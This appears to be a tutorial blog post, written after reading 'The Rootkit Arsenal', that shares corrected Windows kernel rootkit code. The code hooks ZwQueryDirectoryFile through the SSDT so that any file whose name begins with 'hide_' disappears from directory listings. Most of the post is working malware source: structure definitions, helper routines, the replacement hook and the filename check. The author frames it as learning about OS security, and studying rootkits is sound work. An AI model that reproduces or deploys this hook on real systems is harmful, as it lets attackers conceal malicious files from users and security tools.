This document is licensed under the [Creative Commons Attribution-NonCommercial-NoDerivs 3.0 License].
I. Introduction.
I was reading Bill Blunden’s book “The Rootkit ARSENAL”. This book is great to learn the basics of Windows rootkits (more information here). I am not specialist in Windows O.S and using the book, I tried to learn more about this OS security by building my own rootkits.
In chapter 5 Blunden explains how to hide directories by using SSDT hooking and replacing the ZwQueryDirectoryFile kernel function. In fact this code can be used to hide any file. I tried his code and I found a few problems in it (it works only on Windows XP, it does not work when there is only one file in directory, etc).
So I modified the code to correct these problems and I decided to share it here.
II. Headers information.
In this section I am going to describe all the information wee need to write and use the replacement function. The code in this section should be written in a file accessible by the rootkit core and the replacement function. It can be inside the replacement function file like in the book, or in a dedicated header file.II.1 The needed includes
The replacement function only needs one included file (and it is a big one), the windows driver kit main file.
#include <ntddk.h>
II.2 The original function signature
In order to hook this SSDT entry we need to define the original function in our code so our rootkit can switch safely between the original routine and the replacement one.
- /*
- The ZwQueryDirectoryFile routine returns various kinds of information about files in the directory specified by a given file handle.
- NTSTATUS ZwQueryDirectoryFile(
- __in HANDLE FileHandle,
- __in_opt HANDLE Event,
- __in_opt PIO_APC_ROUTINE ApcRoutine,
- __in_opt PVOID ApcContext,
- __out PIO_STATUS_BLOCK IoStatusBlock,
- __out PVOID FileInformation,
- __in ULONG Length,
- __in FILE_INFORMATION_CLASS FileInformationClass,
- __in BOOLEAN ReturnSingleEntry,
- __in_opt PUNICODE_STRING FileName,
- __in BOOLEAN RestartScan
- );
- http://msdn.microsoft.com/en-us/library/ff567047%28v=VS.85%29.aspx
- */
- /* Prototype to original routine */
- NTSYSAPI
- NTSTATUS
- NTAPI ZwQueryDirectoryFile
- (
- IN HANDLE FileHandle,
- IN HANDLE Event,
- IN PIO_APC_ROUTINE ApcRoutine,
- IN PVOID ApcContext,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass,
- IN BOOLEAN ReturnSingleEntry,
- IN PUNICODE_STRING FileName,
- IN BOOLEAN RestartScan
- );
- /* Function pointer declaration and definition */
- typedef NTSTATUS (*ZwQueryDirectoryFilePtr)
- (
- IN HANDLE FileHandle,
- IN HANDLE Event,
- IN PIO_APC_ROUTINE ApcRoutine,
- IN PVOID ApcContext,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass,
- IN BOOLEAN ReturnSingleEntry,
- IN PUNICODE_STRING FileName,
- IN BOOLEAN RestartScan
- );
- ZwQueryDirectoryFilePtr oldZwQueryDirectoryFile;
II.3 Various FILE_INFORMATION_CLASS structures
When the ZwQueryDirectoryFile routine is called, the returned results are stored in an array of structures representing a file. The first one is accessible using FileInformation OUT parameter. There are several types of structures to describe files, (they can vary depending on the OS version for example).
The FileInformationClass parameter is used to know the type of the FileInformation parameter.
There is a list of structures that can correspond to a file object on the msdn (
http://msdn.microsoft.com/en-us/lib...). Here we will concentrate on structures that can be used by the ZwQueryDirectoryFile routine (see http://msdn.microsoft.com/en-us/lib...).
We need to redefine these structures in our header’s code :
- typedef struct _FILE_BOTH_DIR_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- WCHAR FileName[1];
- } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
- typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
- } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
- typedef struct _FILE_ID_FULL_DIR_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
- } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
- typedef struct _FILE_DIRECTORY_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- WCHAR FileName[1];
- } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
- typedef struct _FILE_FULL_DIR_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- WCHAR FileName[1];
- } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
- typedef struct _FILE_NAMES_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- ULONG FileNameLength;
- WCHAR FileName[1];
- } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
The interesting thing here is that all the structures have attributes in common, and more precisely the FileName and the NextEntryOffset.
The FileName use is trivial (just return the name of the file...).
The NextEntryOffset is the offset of the next FileInformation structure in the array.
For example, take a directory called foo, containing 2 files, bar1 and bar2.
If you query the next cmd code :
dir ./foo
The ZwQueryDirectoryFile kernel routine will be called and will write into the FileInformation a pointer to an array of two structures, one for bar1 and one for bar2 (in reality it is more complicated than that because . and .. are also in the array...).
We may not be sure about the FILE_INFORMATION_CLASS type but we know that :
The first structure FileName is "bar1" and its NextEntryOffset, when added to FileInformation is the memory address of the next structure.
The second structure FileName is "bar2" and its NextEntryOffset field is set to zero because it is the last structure in the array.
II.4 Get and set common fields from any structure type
We do not want to write a replacement function for each different structure. So we are going to write functions to get the two common fields we need in any of them.
- /* ---------------- Functions ----------------------------------------*/
- /* Return the filename of the specified file entry. */
- PVOID getDirEntryFileName
- (
- IN PVOID FileInformation,
- IN FILE_INFORMATION_CLASS FileInfoClass
- )
- {
- PVOID result = 0;
- switch(FileInfoClass){
- case FileDirectoryInformation:
- result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformation)->FileName;
- break;
- case FileFullDirectoryInformation:
- result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformation)->FileName;
- break;
- case FileIdFullDirectoryInformation:
- result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->FileName;
- break;
- case FileBothDirectoryInformation:
- result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformation)->FileName;
- break;
- case FileIdBothDirectoryInformation:
- result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->FileName;
- break;
- case FileNamesInformation:
- result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformation)->FileName;
- break;
- }
- return result;
- }
- /* Return the NextEntryOffset of the specified file entry. */
- ULONG getNextEntryOffset
- (
- IN PVOID FileInformation,
- IN FILE_INFORMATION_CLASS FileInfoClass
- )
- {
- ULONG result = 0;
- switch(FileInfoClass){
- case FileDirectoryInformation:
- result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset;
- break;
- case FileFullDirectoryInformation:
- result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset;
- break;
- case FileIdFullDirectoryInformation:
- result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset;
- break;
- case FileBothDirectoryInformation:
- result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset;
- break;
- case FileIdBothDirectoryInformation:
- result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset;
- break;
- case FileNamesInformation:
- result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset;
- break;
- }
- return result;
- }
- /* Set the value of the fileInformation's NextEntryOffset */
- void setNextEntryOffset
- (
- IN PVOID FileInformation,
- IN FILE_INFORMATION_CLASS FileInfoClass,
- IN ULONG newValue
- )
- {
- switch(FileInfoClass){
- case FileDirectoryInformation:
- ((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset = newValue;
- break;
- case FileFullDirectoryInformation:
- ((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
- break;
- case FileIdFullDirectoryInformation:
- ((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
- break;
- case FileBothDirectoryInformation:
- ((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
- break;
- case FileIdBothDirectoryInformation:
- ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
- break;
- case FileNamesInformation:
- ((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset = newValue;
- break;
- }
- }
III. Main code.
III.1 ZwQueryDirectory Replacement routine
Now that we have enough information, we are ready to write a ZwQueryDirectoryFile replacement function that can hide any file we want.
- #define NO_MORE_ENTRIES 0
- /* Replacement function, Entry point */
- NTSTATUS newZwQueryDirectoryFile
- (
- IN HANDLE FileHandle,
- IN HANDLE Event,
- IN PIO_APC_ROUTINE ApcRoutine,
- IN PVOID ApcContext,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- OUT PVOID FileInformation,
- IN ULONG Length,
- IN FILE_INFORMATION_CLASS FileInformationClass,
- IN BOOLEAN ReturnSingleEntry,
- IN PUNICODE_STRING FileName,
- IN BOOLEAN RestartScan
- )
- {
- NTSTATUS ntStatus;
- PVOID currFile;
- PVOID prevFile;
- //DBG_TRACE("newZwQueryDirectoryFile","Call intercepted!");
- // Call normal function
- ntStatus = oldZwQueryDirectoryFile
- (
- FileHandle,
- Event,
- ApcRoutine,
- ApcContext,
- IoStatusBlock,
- FileInformation,
- Length,
- FileInformationClass,
- ReturnSingleEntry,
- FileName,
- RestartScan
- );
- if(!NT_SUCCESS(ntStatus))
- {
- //DBG_TRACE("newZwQueryDirectoryFile","Call failed.");
- return ntStatus;
- }
- // Call hide function depending on FileInformationClass
- if
- (
- FileInformationClass == FileDirectoryInformation ||
- FileInformationClass == FileFullDirectoryInformation ||
- FileInformationClass == FileIdFullDirectoryInformation ||
- FileInformationClass == FileBothDirectoryInformation ||
- FileInformationClass == FileIdBothDirectoryInformation ||
- FileInformationClass == FileNamesInformation
- )
- {
- currFile = FileInformation;
- prevFile = NULL;
- //Sweep trought the array of PFILE_BOTH_DIR_INFORMATION structures
- do
- {
- // Check if file is one of rootkit files
- if(checkIfHiddenFile(getDirEntryFileName(currFile,FileInformationClass))==TRUE)
- {
- // If it is not the last file
- if(getNextEntryOffset(currFile,FileInformationClass)!=NO_MORE_ENTRIES)
- {
- int delta;
- int nBytes;
- // We get number of bytes between the 2 addresses (that we already processed)
- delta = ((ULONG)currFile) - (ULONG)FileInformation;
- // Lenght is size of FileInformation buffer
- // We get the number of bytes still to be sweeped trought
- nBytes = (DWORD)Length - delta;
- // We get the size of bytes to be processed if we remove the current entry.
- nBytes = nBytes - getNextEntryOffset(currFile,FileInformationClass);
- // The next operation replaces the rest of the array by the same array without the current structure.
- RtlCopyMemory
- (
- (PVOID)currFile,
- (PVOID)((char*)currFile + getNextEntryOffset(currFile,FileInformationClass)),
- (DWORD)nBytes
- );
- continue;
- }
- else
- {
- // Only one file
- if(currFile==FileInformation)
- {
- ntStatus = STATUS_NO_MORE_FILES;
- }
- else
- {
- // Several file and ours is the last one
- // We set previous to end of file
- setNextEntryOffset(prevFile,FileInformationClass,NO_MORE_ENTRIES);
- }
- // Exit while loop
- break;
- }
- }
- prevFile = currFile;
- // Set current file to next file in array
- currFile = ((BYTE*)currFile + getNextEntryOffset(currFile,FileInformationClass));
- }
- while(getNextEntryOffset(prevFile,FileInformationClass) != NO_MORE_ENTRIES);
- }
- return ntStatus;
- }
III.2 Check if file should be hide
You should have noticed that hiding functionalities are used only if checkIfHiddenFile(WCHAR fileName) function returns TRUE. You can choose to write whatever you want in that function, if you want to hide several files, depending on what part of their names, etc.
In this code, I choose to stay simple, and just hide any file that starts with a given prefix ("hide_").
- const WCHAR prefix[] = L"hide_";
- #define PREFIX_SIZE 10
- /* Check if the file is one of those that need to be hidden */
- BOOLEAN checkIfHiddenFile(WCHAR fileName[])
- {
- SIZE_T nBytesEqual;
- //DBG_PRINT2("[checkIfHiddenFile]: we are checking %S\n",fileName);
- // Check if known file
- nBytesEqual = 0;
- nBytesEqual = RtlCompareMemory
- (
- (PVOID)&(fileName[0]),
- (PVOID)&(prefix[0]),
- PREFIX_SIZE
- );
- //DBG_PRINT2("[checkIfHiddenFile]: nBytesEqual: %d\n",nBytesEqual);
- if(nBytesEqual==PREFIX_SIZE)
- {
- DBG_PRINT2("[checkIfHiddenFile]: known file detected : %S\n",fileName);
- return(TRUE);
- }
- return FALSE;
- }